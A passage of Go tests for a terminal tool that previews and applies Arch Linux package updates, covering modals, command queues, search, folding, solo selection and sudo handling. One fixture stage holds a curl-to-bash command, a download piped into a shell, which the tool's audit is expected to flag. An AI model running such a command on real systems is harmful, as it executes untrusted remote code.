+ t.Fatalf("the apply still did not start; modal %T, status %q",
+ final.modal, final.status)
+ }
+ if final.modal != nil {
+ t.Errorf("a modal is still open after confirming: %T", final.modal)
+ }
+
+ // and the stream it started is readable
+ var events int
+ deadline := time.After(20 * time.Second)
+ for events < 5 {
+ select {
+ case ev, ok := <-final.stream.Events:
+ if !ok {
+ t.Fatal("the stream closed early")
+ }
+ events++
+ final.build.Apply(ev)
+ case <-deadline:
+ t.Fatalf("only %d events arrived", events)
+ }
+ }
+ if len(final.build.Feed) != 1 {
+ t.Errorf("feed = %+v", final.build.Feed)
+ }
+ _ = final.stream.Wait()
+}
+
+func TestDecliningAnApplyStartsNothing(t *testing.T) {
+ m := New(stubApplyBackend(t), testConfig(t))
+ next, _ := m.Update(tea.WindowSizeMsg{Width: 120, Height: 40})
+ m = next.(Model)
+ next, _ = m.Update(loadedMsg{plan: sample()})
+ m = next.(Model)
+
+ asked, _ := press(m, 'a')
+ final := answer(asked, 'n')
+ if final.build != nil {
+ t.Error("declining started an apply")
+ }
+ if final.modal != nil {
+ t.Errorf("a modal is still open: %T", final.modal)
+ }
+}
+
+// -- expansion survives a reload ------------------------------------------
+
+func TestAReloadKeepsWhatWasOpen(t *testing.T) {
+ // Rebuilding produces fresh nodes, which would snap everything back to its
+ // default. Reloading should show updated facts, not undo navigation.
+ m := loaded(t, sample(), 120, 40)
+
+ var aur *Node
+ for _, r := range m.roots {
+ if r.Title == "AUR" {
+ aur = r
+ }
+ }
+ if aur == nil {
+ t.Fatal("no AUR section")
+ }
+ m.cursor = indexOf(m.visible, aur)
+ // collapse it
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyLeft})
+ m = next.(Model)
+ for _, r := range m.roots {
+ if r.Title == "AUR" && r.Expanded {
+ t.Fatal("the section did not collapse")
+ }
+ }
+
+ // now reload with the same document
+ next, _ = m.Update(loadedMsg{plan: sample()})
+ m = next.(Model)
+ for _, r := range m.roots {
+ if r.Title == "AUR" && r.Expanded {
+ t.Error("the reload re-expanded a section the reader had closed")
+ }
+ }
+}
+
+func TestAReloadOfTheChecksKeepsExpansion(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ var checks *Node
+ for _, r := range m.roots {
+ if r.Title == "Checks" {
+ checks = r
+ }
+ }
+ m.cursor = indexOf(m.visible, checks)
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyLeft})
+ m = next.(Model)
+
+ m.mergeChecks([]plan.Check{{OK: true, Label: "pacnew", Detail: "clean"}}, []string{"pacnew"})
+ for _, r := range m.roots {
+ if r.Title == "Checks" && r.Expanded {
+ t.Error("merging refreshed checks re-expanded the section")
+ }
+ }
+}
+
+func TestRefreshedChecksReplaceOnlyTheirOwnRows(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ before := map[string]string{}
+ for _, c := range m.doc.Checks {
+ before[c.Label] = c.Detail
+ }
+
+ m.mergeChecks([]plan.Check{
+ {OK: true, Label: "databases", Detail: "refreshed"},
+ {OK: true, Label: "cache", Detail: "nothing worth reclaiming"},
+ }, []string{"databases", "cache"})
+
+ after := map[string]string{}
+ for _, c := range m.doc.Checks {
+ after[c.Label] = c.Detail
+ }
+ if after["databases"] != "refreshed" {
+ t.Errorf("databases was not updated: %q", after["databases"])
+ }
+ if after["cache"] != "nothing worth reclaiming" {
+ t.Errorf("cache was not updated: %q", after["cache"])
+ }
+ // and nothing else changed
+ for label, detail := range before {
+ if label == "databases" || label == "cache" {
+ continue
+ }
+ if after[label] != detail {
+ t.Errorf("%s changed unexpectedly: %q -> %q", label, detail, after[label])
+ }
+ }
+}
+
+func TestARefreshedCheckAppearsIfItIsNew(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m.mergeChecks([]plan.Check{{OK: false, Label: "brand-new", Detail: "hello"}}, []string{"brand-new"})
+ found := false
+ for _, c := range m.doc.Checks {
+ if c.Label == "brand-new" {
+ found = true
+ }
+ }
+ if !found {
+ t.Error("a check that appeared during the refresh was dropped")
+ }
+}
+
+// -- a plan step's command queue ------------------------------------------
+
+func stepModel(t *testing.T, stages []plan.Stage) Model {
+ t.Helper()
+ doc := sample()
+ doc.Steps = []plan.Step{{Index: "1", Command: "paru -S --needed",
+ Detail: "3 AUR packages to build", Details: []string{"the prose follows"},
+ Queue: stages}}
+ m := loaded(t, doc, 120, 40)
+ for _, r := range m.roots {
+ if r.Title == "Plan" {
+ r.Expanded = true
+ }
+ }
+ m.rebuildView()
+ for i, n := range m.visible {
+ if n.Kind == KindStep {
+ m.cursor = i
+ break
+ }
+ }
+ return m
+}
+
+func sampleStages() []plan.Stage {
+ return []plan.Stage{
+ {Phase: "snapshot", Command: "/usr/share/libalpm/scripts/snap-pac pre",
+ What: "snapper takes a pre-transaction snapshot", Level: "note"},
+ {Phase: "build:helix-git", Command: "cargo build --release",
+ What: "compiles helix-git", Level: "step"},
+ {Phase: "build:helix-git", Command: "curl -s https://x | bash",
+ What: "pipes a download into a shell", Level: "danger",
+ Finding: "pipes a download straight into a shell"},
+ {Phase: "hooks", Command: "/usr/share/libalpm/scripts/systemd-hook daemon-reload",
+ What: "Reloading system manager configuration", Level: "hook"},
+ }
+}
+
+func TestAStepOpensItsCommandQueue(t *testing.T) {
+ m := stepModel(t, sampleStages())
+ final, _ := enterKey(m)
+ if final.modal == nil {
+ t.Fatal("enter on a step opened nothing")
+ }
+ view := plain(final.modal.View(110, 40))
+ for _, want := range []string{
+ "snap-pac pre", // the snapshot hook
+ "cargo build --release", // a PKGBUILD command
+ "daemon-reload", // an alpm hook
+ "SNAPSHOT", "BUILD", "HOOKS", // phase headings
+ } {
+ if !strings.Contains(view, want) {
+ t.Errorf("the queue is missing %q:\n%s", want, view)
+ }
+ }
+}
+
+func TestAFlaggedCommandIsCalledOutWithItsRule(t *testing.T) {
+ m := stepModel(t, sampleStages())
+ final, _ := enterKey(m)
+ view := plain(final.modal.View(110, 40))
+ if !strings.Contains(view, "!!") {
+ t.Error("a dangerous stage is not marked")
+ }
+ if !strings.Contains(view, "pipes a download straight into a shell") {
+ t.Errorf("the rule that flagged it is not named:\n%s", view)
+ }
+ if !strings.Contains(view, "1 command(s) flagged") {
+ t.Errorf("the count of flagged commands is missing:\n%s", view)
+ }
+}
+
+func TestAQueueWithNothingFlaggedSaysSo(t *testing.T) {
+ clean := []plan.Stage{{Phase: "build:x", Command: "make", What: "builds x"}}
+ m := stepModel(t, clean)
+ final, _ := enterKey(m)
+ view := plain(final.modal.View(110, 30))
+ if strings.Contains(view, "flagged by the audit") {
+ t.Error("a clean queue does not claim to be flagged")
+ }
+ if !strings.Contains(view, "Nothing in this queue matched") {
+ t.Errorf("a clean queue should say so:\n%s", view)
+ }
+}
+
+func TestAStepWithoutAQueueFallsBackToItsProse(t *testing.T) {
+ m := stepModel(t, nil)
+ final, _ := enterKey(m)
+ if final.modal == nil {
+ t.Fatal("a step with prose but no queue opened nothing")
+ }
+ if !strings.Contains(plain(final.modal.View(110, 30)), "the prose follows") {
+ t.Error("the prose was not shown")
+ }
+}
+
+// -- searching inside a long listing --------------------------------------
+
+func TestSearchingAListingJumpsToTheMatch(t *testing.T) {
+ modal := newText("q")
+ lines := make([]string, 60)
+ for i := range lines {
+ lines[i] = fmt.Sprintf("line %d", i)
+ }
+ lines[42] = "the needle is here"
+ modal.Update(textBodyMsg{title: "q", lines: lines})
+
+ // open the search and type
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ for _, r := range "needle" {
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{r}})
+ }
+ if len(modal.matches) != 1 {
+ t.Fatalf("matches = %v", modal.matches)
+ }
+ if modal.scroll != 42 {
+ t.Errorf("scroll = %d, want the matching line (42)", modal.scroll)
+ }
+ view := plain(modal.View(100, 30))
+ if !strings.Contains(view, "1 match") {
+ t.Errorf("the match count is not shown:\n%s", view)
+ }
+}
+
+func TestASearchThatFindsNothingSaysSo(t *testing.T) {
+ modal := newText("q")
+ modal.Update(textBodyMsg{title: "q", lines: []string{"alpha", "beta"}})
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ for _, r := range "zzz" {
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{r}})
+ }
+ modal.Update(tea.KeyMsg{Type: tea.KeyEnter})
+ if !strings.Contains(plain(modal.View(100, 20)), "no match") {
+ t.Error("a fruitless search should say so")
+ }
+}
+
+func TestEscapeLeavesTheSearchBeforeClosingTheModal(t *testing.T) {
+ modal := newText("q")
+ modal.Update(textBodyMsg{title: "q", lines: []string{"alpha"}})
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'a'}})
+
+ back, _ := modal.Update(tea.KeyMsg{Type: tea.KeyEsc})
+ if back == nil {
+ t.Fatal("esc in the search box closed the whole modal")
+ }
+ if back.(*textModal).query != "" {
+ t.Error("esc did not clear the query")
+ }
+ closed, _ := back.Update(tea.KeyMsg{Type: tea.KeyEsc})
+ if closed != nil {
+ t.Error("esc outside the search box should close the modal")
+ }
+}
+
+func TestBackspaceEditsTheQuery(t *testing.T) {
+ modal := newText("q")
+ modal.Update(textBodyMsg{title: "q", lines: []string{"alpha", "beta"}})
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ for _, r := range "alphaz" {
+ modal.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{r}})
+ }
+ if len(modal.matches) != 0 {
+ t.Fatalf("expected no match for alphaz, got %v", modal.matches)
+ }
+ modal.Update(tea.KeyMsg{Type: tea.KeyBackspace})
+ if modal.query != "alpha" {
+ t.Errorf("query = %q, want alpha", modal.query)
+ }
+ if len(modal.matches) != 1 {
+ t.Errorf("matches after backspace = %v", modal.matches)
+ }
+}
+
+// -- folding a queue ------------------------------------------------------
+
+func queueStages() []plan.Stage {
+ return []plan.Stage{
+ {Phase: "download", Command: "download a-2-1", What: "a 1-1 -> 2-1", Level: "step"},
+ {Phase: "download", Command: "download b-2-1", What: "b 1-1 -> 2-1", Level: "step"},
+ {Phase: "install", Command: "install a", What: "unpacked", Level: "step"},
+ {Phase: "hooks", Command: "mkinitcpio install", What: "Updating initcpios", Level: "hook"},
+ }
+}
+
+func TestAPhaseCanBeFolded(t *testing.T) {
+ q := newQueue("pacman -Syu", queueStages())
+ if len(q.rows) != 3+4 { // 3 headings + 4 stages
+ t.Fatalf("rows = %d", len(q.rows))
+ }
+ // fold the first heading (downloads)
+ q.cursor = 0
+ q.toggle()
+ if !q.collapsed["download"] {
+ t.Fatal("the phase did not fold")
+ }
+ view := plain(q.View(100, 30))
+ if strings.Contains(view, "download a-2-1") {
+ t.Error("a folded command is still rendered")
+ }
+ if !strings.Contains(strings.ToUpper(view), "DOWNLOAD") {
+ t.Errorf("the heading disappeared with its contents:\n%s", view)
+ }
+}
+
+func TestFoldingCollapsesEverythingUnderIt(t *testing.T) {
+ q := newQueue("q", queueStages())
+ q.cursor = 0
+ q.toggle()
+ // only the heading for download should remain from that phase
+ remaining := 0
+ for _, row := range q.rows {
+ if row.phase == "download" && !row.header {
+ remaining++
+ }
+ }
+ if remaining != 0 {
+ t.Errorf("%d download rows survived the fold", remaining)
+ }
+}
+
+func TestFoldAllAndUnfoldAll(t *testing.T) {
+ q := newQueue("q", queueStages())
+ q.foldAll()
+ if len(q.collapsed) != 3 {
+ t.Fatalf("folded %d phases, want 3", len(q.collapsed))
+ }
+ if len(q.rows) != 3 { // headings only
+ t.Errorf("rows = %d, want just the headings", len(q.rows))
+ }
+ q.collapsed = map[string]bool{}
+ q.rebuild()
+ if len(q.rows) != 7 {
+ t.Errorf("unfolding left %d rows", len(q.rows))
+ }
+}
+
+func TestFoldedPhaseHeadingsShowTheirSize(t *testing.T) {
+ q := newQueue("q", queueStages())
+ q.foldAll()
+ view := plain(q.View(100, 30))
+ if !strings.Contains(view, "2") {
+ t.Errorf("the folded heading does not say how much it hides:\n%s", view)
+ }
+}
+
+func TestSearchingUnfoldsWhatItMatches(t *testing.T) {
+ // a match hidden inside a fold is the same as no match
+ q := newQueue("q", queueStages())
+ q.foldAll()
+ q.query = "mkinitcpio"
+ q.recompute()
+ if q.collapsed["hooks"] {
+ t.Error("the phase holding the match stayed folded")
+ }
+ if len(q.matches) != 1 {
+ t.Fatalf("matches = %v", q.matches)
+ }
+}
+
+func TestTheCursorCannotLeaveTheList(t *testing.T) {
+ q := newQueue("q", queueStages())
+ for i := 0; i < 40; i++ {
+ q.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'j'}})
+ }
+ if q.cursor >= len(q.rows) {
+ t.Errorf("cursor %d past the end (%d rows)", q.cursor, len(q.rows))
+ }
+ for i := 0; i < 60; i++ {
+ q.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'k'}})
+ }
+ if q.cursor < 0 {
+ t.Errorf("cursor went negative: %d", q.cursor)
+ }
+}
+
+func TestFoldingPutsTheCursorOnTheHeading(t *testing.T) {
+ q := newQueue("q", queueStages())
+ q.cursor = 1 // inside download
+ q.toggle()
+ if q.cursor >= len(q.rows) || !q.rows[q.cursor].header {
+ t.Error("the cursor was left on a row that is no longer visible")
+ }
+}
+
+func TestAPhaseCountMatchesWhatItHolds(t *testing.T) {
+ q := newQueue("q", queueStages())
+ if got := q.phaseCount("download"); got != 2 {
+ t.Errorf("download holds %d, want 2", got)
+ }
+ if got := q.distinctPhases(); got != 3 {
+ t.Errorf("distinctPhases = %d, want 3", got)
+ }
+}
+
+// -- tabbing through warnings ---------------------------------------------
+
+func warningTabs() []tabSection {
+ return []tabSection{
+ {title: "left the AUR", note: "6 package(s) left the AUR",
+ lines: []string{"alpha", "beta"}, flagged: 6},
+ {title: "general", note: "something else", lines: []string{"gamma"}},
+ }
+}
+
+func TestWarningsGetATabEach(t *testing.T) {
+ m := newTabs("warnings", warningTabs())
+ view := plain(m.View(100, 30))
+ for _, want := range []string{"left the AUR", "general", "alpha"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("missing %q:\n%s", want, view)
+ }
+ }
+ if strings.Contains(view, "gamma") {
+ t.Error("another tab's contents are showing")
+ }
+}
+
+func TestTabSwitchingWraps(t *testing.T) {
+ m := newTabs("warnings", warningTabs())
+ m.next(1)
+ if m.current != 1 {
+ t.Fatalf("current = %d", m.current)
+ }
+ if !strings.Contains(plain(m.View(100, 30)), "gamma") {
+ t.Error("the second tab's contents are not shown")
+ }
+ m.next(1)
+ if m.current != 0 {
+ t.Errorf("tabbing past the end did not wrap: %d", m.current)
+ }
+ m.next(-1)
+ if m.current != 1 {
+ t.Errorf("tabbing before the start did not wrap: %d", m.current)
+ }
+}
+
+func TestADigitJumpsStraightToATab(t *testing.T) {
+ m := newTabs("warnings", warningTabs())
+ m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'2'}})
+ if m.current != 1 {
+ t.Errorf("current = %d, want 1", m.current)
+ }
+}
+
+func TestTheFlaggedCountIsOnTheTab(t *testing.T) {
+ m := newTabs("warnings", warningTabs())
+ view := plain(m.View(100, 30))
+ if !strings.Contains(view, "left the AUR 6") {
+ t.Errorf("the flagged count is not on the tab:\n%s", view)
+ }
+}
+
+func TestASingleWarningHidesTheTabBar(t *testing.T) {
+ m := newTabs("warnings", []tabSection{{title: "only", lines: []string{"x"}}})
+ if strings.Contains(plain(m.View(100, 30)), "only") {
+ t.Error("a lone tab still renders a bar with nothing to switch to")
+ }
+}
+
+func TestSearchingWithinATabMarksMatches(t *testing.T) {
+ m := newTabs("warnings", []tabSection{
+ {title: "only", lines: []string{"alpha", "beta", "alpha again"}}})
+ m.query = "alpha"
+ m.recompute()
+ if len(m.matches) != 2 {
+ t.Fatalf("matches = %v", m.matches)
+ }
+ if m.scroll != 0 {
+ t.Errorf("scroll = %d, want the first match", m.scroll)
+ }
+ m.nextMatch(1)
+ if m.scroll != 2 {
+ t.Errorf("scroll = %d, want the second match", m.scroll)
+ }
+}
+
+func TestTheWarningRowOpensTheTabbedPage(t *testing.T) {
+ doc := sample()
+ doc.Checks = []plan.Check{{OK: false, Label: "warning",
+ Detail: "6 package(s) left the AUR"}}
+ doc.Warnings = []plan.Warning{
+ {Title: "left the AUR", Headline: "6 package(s) left the AUR",
+ Details: []string{"alpha"}, Flagged: 6},
+ {Title: "general", Headline: "something else", Details: []string{"beta"}},
+ }
+ m := loaded(t, doc, 120, 40)
+ for i, n := range m.visible {
+ if n.Kind == KindCheck && n.Text == "warning" {
+ m.cursor = i
+ break
+ }
+ }
+ final, _ := enterKey(m)
+ if final.modal == nil {
+ t.Fatal("the warning row opened nothing")
+ }
+ view := plain(final.modal.View(110, 34))
+ if !strings.Contains(view, "alpha") {
+ t.Errorf("the warning details are not shown:\n%s", view)
+ }
+ if !strings.Contains(view, "general") {
+ t.Errorf("there is no way to reach the other warning kind:\n%s", view)
+ }
+}
+
+func TestACheckDoesNotRepeatItsOwnLabelInTheBody(t *testing.T) {
+ // the row says the label and the modal is titled with it; a third copy at
+ // the top of the body was noise on every check that had anything to say
+ doc := sample()
+ doc.Checks = []plan.Check{{OK: false, Label: "databases",
+ Detail: "2d old · refresh failed",
+ Details: []string{"pacman could not refresh its databases"}}}
+ m := loaded(t, doc, 120, 40)
+ for i, n := range m.visible {
+ if n.Kind == KindCheck && n.Text == "databases" {
+ m.cursor = i
+ break
+ }
+ }
+ final, _ := enterKey(m)
+ view := plain(final.modal.View(110, 30))
+ // the title is the label; the body must not open by repeating it or the
+ // row's headline
+ if strings.Contains(view, "! databases") {
+ t.Errorf("the label is repeated inside its own overlay:\n%s", view)
+ }
+ if strings.Contains(view, "2d old · refresh failed") {
+ t.Errorf("the row's headline is repeated in the body:\n%s", view)
+ }
+ if !strings.Contains(view, "pacman could not refresh") {
+ t.Errorf("the explanation is missing:\n%s", view)
+ }
+}
+
+// -- the body must fit its window -----------------------------------------
+
+func tallQueue(n int) []plan.Stage {
+ stages := make([]plan.Stage, 0, n)
+ for i := 0; i < n; i++ {
+ stages = append(stages, plan.Stage{
+ Phase: fmt.Sprintf("phase%d", i/4),
+ Command: fmt.Sprintf("command number %d --flag", i),
+ What: "a description that takes a second line",
+ Level: "step",
+ })
+ }
+ return stages
+}
+
+func TestTheQueueBodyFitsTheWindow(t *testing.T) {
+ // Every row is two lines tall, so scrolling by rows showed about twice the
+ // window and the box overflowed: the top of the queue was clipped away
+ // wherever the cursor was.
+ q := newQueue("q", tallQueue(60))
+ for _, h := range []int{12, 20, 30, 45} {
+ view := q.View(100, h)
+ if lines := strings.Count(plain(view), "\n") + 1; lines != h {
+ t.Errorf("height %d produced a %d-line box", h, lines)
+ }
+ }
+}
+
+func TestTheTopOfTheQueueIsVisibleWhenTheCursorIsAtTheTop(t *testing.T) {
+ q := newQueue("q", tallQueue(60))
+ q.cursor = 0
+ q.scroll = 0
+ q.scrollToCursor()
+ view := plain(q.View(100, 30))
+ if !strings.Contains(view, "command number 0 ") {
+ t.Errorf("the first command is not on screen:\n%s", view)
+ }
+}
+
+func TestTheLastRowCanBeReached(t *testing.T) {
+ q := newQueue("q", tallQueue(60))
+ q.cursor = len(q.rows) - 1
+ q.scrollToCursor()
+ view := plain(q.View(100, 30))
+ if !strings.Contains(view, "command number 59 ") {
+ t.Errorf("the last command cannot be reached:\n%s", view)
+ }
+}
+
+func TestScrollingNeverLeavesBlankSpaceAtTheEnd(t *testing.T) {
+ q := newQueue("q", tallQueue(8))
+ q.cursor = len(q.rows) - 1
+ view := plain(q.View(100, 30))
+ if !strings.Contains(view, "command number 7 ") {
+ t.Errorf("the tail of a short queue is not shown:\n%s", view)
+ }
+}
+
+func TestTheWarningsBodyFitsTheWindow(t *testing.T) {
+ var lines []string
+ for i := 0; i < 80; i++ {
+ lines = append(lines, fmt.Sprintf("warning line %d", i))
+ }
+ m := newTabs("warnings", []tabSection{
+ {title: "one", lines: lines, flagged: 3},
+ {title: "two", lines: lines},
+ })
+ for _, h := range []int{16, 24, 34, 50} {
+ view := m.View(100, h)
+ if got := strings.Count(plain(view), "\n") + 1; got != h {
+ t.Errorf("height %d produced a %d-line box", h, got)
+ }
+ }
+}
+
+// -- solo selection -------------------------------------------------------
+
+func TestSoloHoldsEverythingElseBack(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+ if !picked.solo["demo-bin"] {
+ t.Fatal("s did not pick the package")
+ }
+ // every other package must now be excluded from the run
+ for _, r := range picked.roots {
+ for _, n := range r.Children {
+ if n.Kind != KindPackage || n.Name == "demo-bin" {
+ continue
+ }
+ if picked.willApply(n.Name) {
+ t.Errorf("%s still applies despite the solo", n.Name)
+ }
+ }
+ }
+ if !picked.willApply("demo-bin") {
+ t.Error("the picked package does not apply")
+ }
+}
+
+func TestSoloIsTheInverseOfSkipping(t *testing.T) {
+ // picking one of several is the same as skipping all the others
+ m := loaded(t, sample(), 120, 40)
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+
+ other := loaded(t, sample(), 120, 40)
+ for _, r := range other.roots {
+ for _, n := range r.Children {
+ if n.Kind == KindPackage && n.Name != "demo-bin" {
+ other.skipped[n.Name] = true
+ }
+ }
+ }
+ other.rebuildTree()
+
+ a, _, _ := picked.planLines()
+ b, _, _ := other.planLines()
+ if strings.Join(a, "|") != strings.Join(b, "|") {
+ t.Errorf("solo and skip disagree:\n solo: %v\n skip: %v", a, b)
+ }
+}
+
+func TestSoloScopesTheSecuritySection(t *testing.T) {
+ doc := sample()
+ doc.Advisories = []plan.Advisory{
+ {ID: "AVG-1", Severity: "High", Packages: []string{"demo-bin"}},
+ {ID: "AVG-2", Severity: "High", Packages: []string{"other-pkg"}},
+ }
+ m := loaded(t, doc, 120, 40)
+ if !strings.Contains(plain(m.renderBody()), "AVG-2") {
+ t.Fatal("both advisories should show before any solo")
+ }
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+ body := plain(picked.renderBody())
+ if !strings.Contains(body, "AVG-1") {
+ t.Error("the advisory for the picked package disappeared")
+ }
+ if strings.Contains(body, "AVG-2") {
+ t.Error("an advisory for a package that will not be applied is still listed")
+ }
+}
+
+func TestSoloWithNothingInScopeSaysSo(t *testing.T) {
+ doc := sample()
+ doc.Advisories = []plan.Advisory{
+ {ID: "AVG-9", Severity: "High", Packages: []string{"unrelated"}},
+ }
+ m := loaded(t, doc, 120, 40)
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+ body := plain(picked.renderBody())
+ if !strings.Contains(body, "nothing affects the packages selected") {
+ t.Errorf("the empty security section is not explained:\n%s", body)
+ }
+}
+
+func TestSoloIsClearedByShiftS(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+ cleared, _ := press(picked, 'S')
+ if len(cleared.solo) != 0 {
+ t.Errorf("solo survived: %v", cleared.solo)
+ }
+ if !cleared.willApply("other-pkg") && len(cleared.doc.Aur) > 1 {
+ t.Error("clearing solo did not restore the other packages")
+ }
+}
+
+func TestSoloOnANonPackageSaysSo(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m.cursor = 0 // a section heading
+ next, _ := press(m, 's')
+ if len(next.solo) != 0 {
+ t.Error("a section was treated as a package")
+ }
+ if !strings.Contains(next.status, "cursor") {
+ t.Errorf("status = %q", next.status)
+ }
+}
+
+func TestTheHeaderSaysHowMuchIsSelected(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+ line := plain(picked.statusLine())
+ if !strings.Contains(line, "solo") {
+ t.Errorf("the header does not say solo is on: %q", line)
+ }
+}
+
+func TestSoloIsExpressedAsHoldsForTheApply(t *testing.T) {
+ // "apply only these" and "hold everything else" are the same instruction,
+ // and the backend already understands the second
+ m := loaded(t, sample(), 120, 40)
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+
+ var holds []string
+ for _, r := range picked.roots {
+ for _, n := range r.Children {
+ if n.Kind == KindPackage && n.Name != "demo-bin" {
+ holds = append(holds, n.Name)
+ }
+ }
+ }
+ if len(holds) == 0 {
+ t.Skip("the sample has only one package")
+ }
+ // the plan must name the ignore list, proving the holds reach the command
+ commands, _, _ := picked.planLines()
+ joined := strings.Join(commands, " ")
+ if !strings.Contains(joined, "--ignore=") {
+ t.Errorf("the holds do not reach the command: %v", commands)
+ }
+}
+
+func TestSoloingEveryPackageIsTheSameAsSoloingNone(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ for _, r := range m.roots {
+ for _, n := range r.Children {
+ if n.Kind == KindPackage {
+ m.solo[n.Name] = true
+ }
+ }
+ }
+ all := loaded(t, sample(), 120, 40)
+ a, _, _ := m.planLines()
+ b, _, _ := all.planLines()
+ if strings.Join(a, "|") != strings.Join(b, "|") {
+ t.Errorf("soloing everything differs from soloing nothing:\n %v\n %v", a, b)
+ }
+}
+
+// -- sudo must be satisfied before the phases run -------------------------
+
+func TestAnApplyThatNeedsRootAuthenticatesFirst(t *testing.T) {
+ // The phases run with their input closed, so sudo cannot prompt. Without a
+ // pre-authentication step the run exited 1 in under a second having done
+ // nothing, and the reason sat in a log file nobody was shown.
+ m := loaded(t, sample(), 120, 40)
+ asked, cmd := m.confirmApply()
+ if cmd != nil {
+ t.Fatal("confirming should not start work on its own")
+ }
+ final := asked.(Model)
+ next, cmd := final.confirmed()
+ final = next.(Model)
+ if !final.pendingApply {
+ t.Fatal("the apply did not stop to authenticate")
+ }
+ if cmd == nil {
+ t.Fatal("no sudo command was produced")
+ }
+ if final.build != nil {
+ t.Error("the apply started before authenticating")
+ }
+}
+
+func TestASuccessfulAuthenticationStartsTheApply(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ asked, _ := m.confirmApply()
+ waiting := asked.(Model)
+ // the confirmation closes itself before its answer arrives, so by the time
+ // sudo reports back there is no modal owning the keyboard
+ waiting.modal = nil
+ waiting.pendingApply = true
+
+ next, _ := waiting.Update(sudoMsg{err: nil})
+ final := next.(Model)
+ if !final.sudoReady {
+ t.Error("the credentials were not recorded as satisfied")
+ }
+ if final.pendingApply {
+ t.Error("the pending flag was not cleared")
+ }
+}
+
+func TestAFailedAuthenticationExplainsItselfAndRunsNothing(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m.pendingApply = true
+ m.modal = nil
+ next, _ := m.Update(sudoMsg{err: fmt.Errorf("exit status 1")})
+ final := next.(Model)
+ if final.build != nil {
+ t.Error("the apply ran despite failing to authenticate")
+ }
+ if final.modal == nil {
+ t.Fatal("no explanation was shown")
+ }
+ if !strings.Contains(plain(final.modal.View(110, 30)), "sudo -v") {
+ t.Error("the message does not say what to do about it")
+ }
+}
+
+func TestAFlatpakOnlyRunDoesNotDemandRoot(t *testing.T) {
+ // a user installation needs no root, and requiring it would block a run
+ // that would have worked
+ doc := sample()
+ doc.Repo = nil
+ doc.Aur = nil
+ doc.Vcs = nil
+ doc.Flatpak = []plan.Flatpak{{Application: "org.example.App", Version: "1"}}
+ m := loaded(t, doc, 120, 40)
+ if m.needsRoot() {
+ t.Error("a flatpak-only run asked for root")
+ }
+}
+
+func TestRootIsNeededWhenOnlyAnAurPackageIsPicked(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m = selectKind(m, "demo-bin")
+ picked, _ := press(m, 's')
+ if !picked.needsRoot() {
+ t.Error("an AUR install needs root: paru runs pacman -U")
+ }
+}
+
+// -- a finding's evidence belongs next to the finding ---------------------
+
+func findingLine(t *testing.T, width int, evidence string) string {
+ t.Helper()
+ n := &Node{
+ Kind: KindFinding, Glyph: "!", GlyphRole: "warn",
+ Text: "fetches from the network while building",
+ Evidence: evidence,
+ }
+ line := n.render(NewColumns(width))
+ if got := ansi.StringWidth(line); got > width {
+ t.Errorf("the line is %d cells wide, the terminal is %d", got, width)
+ }
+ return ansi.Strip(line)
+}
+
+func TestFindingEvidenceIsNotFlungToTheFarEdge(t *testing.T) {
+ // It used to be spread across the full width, so on a wide terminal the
+ // evidence sat a hand's width away from the warning it belonged to.
+ evidence := `(curl --silent --fail "${url_base}/sha256sums-signed-build.txt" || \`
+ line := findingLine(t, 200, evidence)
+
+ at := strings.Index(line, "(curl")
+ if at < 0 {
+ t.Fatalf("the evidence is missing entirely:\n%s", line)
+ }
+ gap := at - len(" ! fetches from the network while building")
+ if gap > 4 {
+ t.Errorf("there is a %d-column gap before the evidence:\n%s", gap, line)
+ }
+}
+
+func TestFindingEvidenceIsDroppedWhenThereIsNoRoom(t *testing.T) {
+ evidence := `(curl --silent --fail "${url_base}/sha256sums-signed-build.txt" || \`
+ line := findingLine(t, 60, evidence)
+ if strings.Contains(line, "curl") && !strings.Contains(line, "…") {
+ t.Errorf("a squeezed line should truncate, not overflow:\n%s", line)
+ }
+}
+
+func TestAFindingWithNoEvidenceIsJustTheText(t *testing.T) {
+ line := findingLine(t, 120, "")
+ if strings.Contains(line, " ") && strings.HasSuffix(line, " ") {
+ t.Errorf("trailing padding with nothing to pad to:\n%q", line)
+ }
+}
+
+func TestARefreshedCheckSetDropsWhatIsGone(t *testing.T) {
+ // `updater checks --json` reports every machine-local check, so what it
+ // returns is the whole truth. Folding the new set in left a resolved check
+ // on screen forever, with its stale glyph and a "run the fix" action.
+ doc := sample()
+ doc.Checks = []plan.Check{
+ {Label: "pacnew files", OK: false, Detail: "3 to review"},
+ {Label: "orphaned packages", OK: false, Detail: "12"},
+ }
+ m := loaded(t, doc, 100, 30)
+
